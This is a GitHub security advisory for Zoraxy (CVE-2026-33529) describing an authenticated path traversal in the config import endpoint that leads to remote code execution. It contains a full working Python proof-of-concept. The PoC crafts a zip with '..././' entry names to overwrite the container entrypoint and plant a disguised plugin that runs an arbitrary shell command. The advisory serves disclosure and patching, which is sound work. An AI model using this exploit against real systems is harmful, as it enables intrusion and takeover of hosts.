Skip to content

Zoraxy: Authenticated Path Traversal in Config Import leads to RCE

Low severity GitHub Reviewed Published Mar 24, 2026 in tobychui/zoraxy • Updated Mar 27, 2026

Package

gomod github.com/tobychui/zoraxy (Go)

Affected versions

< 3.3.2

Patched versions

3.3.2

Description

Authenticated Path Traversal to RCE via Configuration Import

Summary

An authenticated path traversal vulnerability in the configuration import endpoint allows an authenticated user to write arbitrary files outside the config directory, which can lead to RCE by creating a plugin.

Details

The vulnerable endpoint is POST /api/conf/import.

The zip entry names sanitization is bypassed by embedding ../ inside a longer sequence so the replacement produces a new ../:

conf/..././..././entrypoint.py
  → ReplaceAll("../", "")  (match found at index 1 of "..././", leaving "../")
  → conf/../../entrypoint.py   ← passes HasPrefix check, escapes conf/

Using this endpoint, a new plugin can be written (persistent) and the entrypoint (non-persistent) can be edited to add execution permissions to the plugin.
When the database is provided in the import, the program should exit to trigger a container restart (which does not happen because the entrypoint does not monitor the Zoraxy exit code).
As a result, the container was manually restarted for the PoC to work.

PoC

import argparse
import io
import json
import re
import sys
import zipfile

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

INTRO_SPEC_JSON = json.dumps({
    "id": "com.attacker.evil",
    "name": "System Updater",
    "author": "System",
    "author_contact": "",
    "description": "Internal system update module",
    "url": "",
    "ui_path": "/ui",
    "type": 1,
    "version_major": 1,
    "version_minor": 0,
    "version_patch": 0,
    "permitted_api_endpoints": [],
})

LINUX_START_SH = """\
#!/bin/sh
INTRO_SPEC='{intro_spec}'

run_payload() {{
{payload_lines}
}}

case "$1" in
  -introspect)
    run_payload
    printf '%s\\n' "$INTRO_SPEC"
    exit 0
    ;;
  -configure=*)
    run_payload
    while true; do sleep 3600; done
    ;;
esac
"""

MALICIOUS_ENTRYPOINT_PY = """\
#!/usr/bin/env python3
import os, subprocess, signal, sys, time

try:
    subprocess.run({cmd_list}, shell=False)
except Exception:
    pass

try:
    os.chmod("/opt/zoraxy/plugin/evil/start.sh", 0o755)
except Exception:
    pass

zoraxy_proc = None
zerotier_proc = None

def getenv(key, default=None):
  return os.environ.get(key, default)

def run(command):
  try:
    subprocess.run(command, check=True)
  except subprocess.CalledProcessError as e:
    print(f"Command failed: {command} - {e}")
    sys.exit(1)

def popen(command):
  proc = subprocess.Popen(command)
  time.sleep(1)
  if proc.poll() is not None:
    print(f"{command} exited early with code {proc.returncode}")
    raise RuntimeError(f"Failed to start {command}")
  return proc

def cleanup(_signum, _frame):
  global zoraxy_proc, zerotier_proc
  if zoraxy_proc and zoraxy_proc.poll() is None:
    zoraxy_proc.terminate()
  if zerotier_proc and zerotier_proc.poll() is None:
    zerotier_proc.terminate()
  if zoraxy_proc:
    try:
      zoraxy_proc.wait(timeout=8)
    except subprocess.TimeoutExpired:
      zoraxy_proc.kill()
      zoraxy_proc.wait()
  if zerotier_proc:
    try:
      zerotier_proc.wait(timeout=8)
    except subprocess.TimeoutExpired:
      zerotier_proc.kill()
      zerotier_proc.wait()
  try:
    os.unlink("/var/lib/zerotier-one")
  except Exception:
    pass
  sys.exit(0)

def start_zerotier():
  global zerotier_proc
  config_dir = "/opt/zoraxy/config/zerotier/"
  zt_path = "/var/lib/zerotier-one"
  os.makedirs(config_dir, exist_ok=True)
  try:
    os.symlink(config_dir, zt_path, target_is_directory=True)
  except FileExistsError:
    pass
  zerotier_proc = popen(["zerotier-one"])

def start_zoraxy():
  global zoraxy_proc
  zoraxy_args = [
    "zoraxy",
    f"-autorenew={getenv('AUTORENEW', '86400')}",
    f"-cfgupgrade={getenv('CFGUPGRADE', 'true')}",
    f"-db={getenv('DB', 'auto')}",
    f"-docker={getenv('DOCKER', 'true')}",
    f"-earlyrenew={getenv('EARLYRENEW', '30')}",
    f"-enablelog={getenv('ENABLELOG', 'true')}",
    f"-fastgeoip={getenv('FASTGEOIP', 'false')}",
    f"-mdns={getenv('MDNS', 'true')}",
    f"-mdnsname={getenv('MDNSNAME', \"''\")}",
    f"-noauth={getenv('NOAUTH', 'false')}",
    f"-plugin={getenv('PLUGIN', '/opt/zoraxy/plugin/')}",
    f"-port=:{getenv('PORT', '8000')}",
    f"-sshlb={getenv('SSHLB', 'false')}",
    f"-version={getenv('VERSION', 'false')}",
    f"-webroot={getenv('WEBROOT', './www')}",
  ]
  zoraxy_proc = popen(zoraxy_args)

def main():
  signal.signal(signal.SIGTERM, cleanup)
  signal.signal(signal.SIGINT, cleanup)
  run(["update-ca-certificates"])
  if getenv("UPDATE_GEOIP", "false").lower() == "true":
    run(["zoraxy", "-update_geoip=true"])
  os.chdir("/opt/zoraxy/config/")
  if getenv("ZEROTIER", "false") == "true":
    start_zerotier()
  start_zoraxy()
  signal.pause()

if __name__ == "__main__":
  main()
"""


def get_csrf(host: str, session: requests.Session) -> tuple:
    r = session.get(f"{host}/login.html", timeout=10, verify=False)
    m = re.search(r'<meta[^>]+name=["\']zoraxy\.csrf\.Token["\'][^>]+content=["\']([^"\']+)["\']', r.text)
    if not m:
        m = re.search(r'<meta[^>]+content=["\']([^"\']+)["\'][^>]+name=["\']zoraxy\.csrf\.Token["\']', r.text)
    token = m.group(1) if m else r.headers.get("X-CSRF-Token", "")
    return token, f"{host}/login.html"


def authenticate(host: str, username: str, password: str,
                 session: requests.Session) -> bool:
    csrf, referer = get_csrf(host, session)
    print(f"    CSRF token  -> {csrf!r}")
    r = session.post(
        f"{host}/api/auth/login",
        data={"username": username, "password": password},
        headers={"X-CSRF-Token": csrf, "Referer": referer},
        timeout=10, verify=False,
    )
    print(f"    Login       -> HTTP {r.status_code}  {r.text[:120]!r}")
    return r.status_code == 200 and r.text.strip().strip('"').lower() in ("ok", "true")


def upload_zip(host: str, session: requests.Session, zip_bytes: bytes) -> tuple:
    csrf, referer = get_csrf(host, session)
    r = session.post(
        f"{host}/api/conf/import",
        files={"file": ("backup.zip", zip_bytes, "application/zip")},
        headers={"X-CSRF-Token": csrf, "Referer": referer},
        timeout=30, verify=False,
    )
    return r.status_code, r.text


def export_config(host: str, session: requests.Session) -> bytes | None:
    r = session.get(
        f"{host}/api/conf/export?includeDB=true",
        timeout=60, verify=False,
    )
    if r.status_code == 200 and len(r.content) > 100:
        return r.content
    return None


def build_zip(cmd: str, export_zip: bytes) -> bytes:
    traversal_ep = "conf/..././..././entrypoint.py"
    traversal_sh = "conf/..././..././plugin/evil/start.sh"

    payload_lines = "\n".join(f"  {line}" for line in cmd.splitlines()) or "  id > /tmp/pwned.txt"
    start_sh = LINUX_START_SH.format(
        intro_spec=INTRO_SPEC_JSON.replace("'", "'\\''"),
        payload_lines=payload_lines,
    )
    malicious_ep = MALICIOUS_ENTRYPOINT_PY.replace("{cmd_list}", repr(["sh", "-c", cmd]))

    buf = io.BytesIO()
    with zipfile.ZipFile(io.BytesIO(export_zip), "r") as src:
        with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
            for item in src.infolist():
                zf.writestr(item, src.read(item.filename))
            zf.writestr(zipfile.ZipInfo(traversal_ep), malicious_ep.encode())
            zf.writestr(zipfile.ZipInfo(traversal_sh), start_sh.encode())
    buf.seek(0)
    return buf.read()


def main() -> None:
    parser = argparse.ArgumentParser(
        description="Zoraxy Authenticated RCE via Entrypoint Overwrite + Plugin Zip-Slip",
    )
    parser.add_argument("--host",  help="Target, e.g. http://192.168.1.10:8000")
    parser.add_argument("--user",  default="admin")
    parser.add_argument("--pass",  dest="password", default=None)
    parser.add_argument("--cmd", default="id > /tmp/pwned.txt",
                        help="Shell command to embed in the payload")
    args = parser.parse_args()

    if not args.host or not args.password:
        parser.error("--host and --pass are required")
    host = args.host.rstrip("/")

    print(f"\n[1] Authenticating as '{args.user}' at {host} ...")
    session = requests.Session()
    if not authenticate(host, args.user, args.password, session):
        print("[-] Authentication failed.")
        sys.exit(1)
    print("[+] Authenticated.")

    print(f"\n[2] Exporting live config ...")
    export_zip = export_config(host, session)
    if not export_zip:
        print("[-] Config export failed.")
        sys.exit(1)
    print("\n[3] Building malicious zip ...")
    zip_bytes = build_zip(args.cmd, export_zip)
    print(f"[+] Zip size: {len(zip_bytes):,} bytes")

    print(f"\n[4] Uploading via POST {host}/api/conf/import ...")
    code, body = upload_zip(host, session, zip_bytes)
    print(f"    HTTP {code}  {body[:200]!r}")
    if code != 200:
        print("[-] Upload failed.")
        sys.exit(1)
    print("[+] Files written")


if __name__ == "__main__":
    main()

Impact

Arbitrary file write leads to RCE by an authenticated user. Given that the Docker socket might be mapped, this issue can lead to full host takeover.

References

@tobychui tobychui published to tobychui/zoraxy Mar 24, 2026
Published to the GitHub Advisory Database Mar 25, 2026
Reviewed Mar 25, 2026
Published by the National Vulnerability Database Mar 26, 2026
Last updated Mar 27, 2026

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(8th percentile)

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

CVE-2026-33529

GHSA ID

GHSA-7pq3-326h-f8q9

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.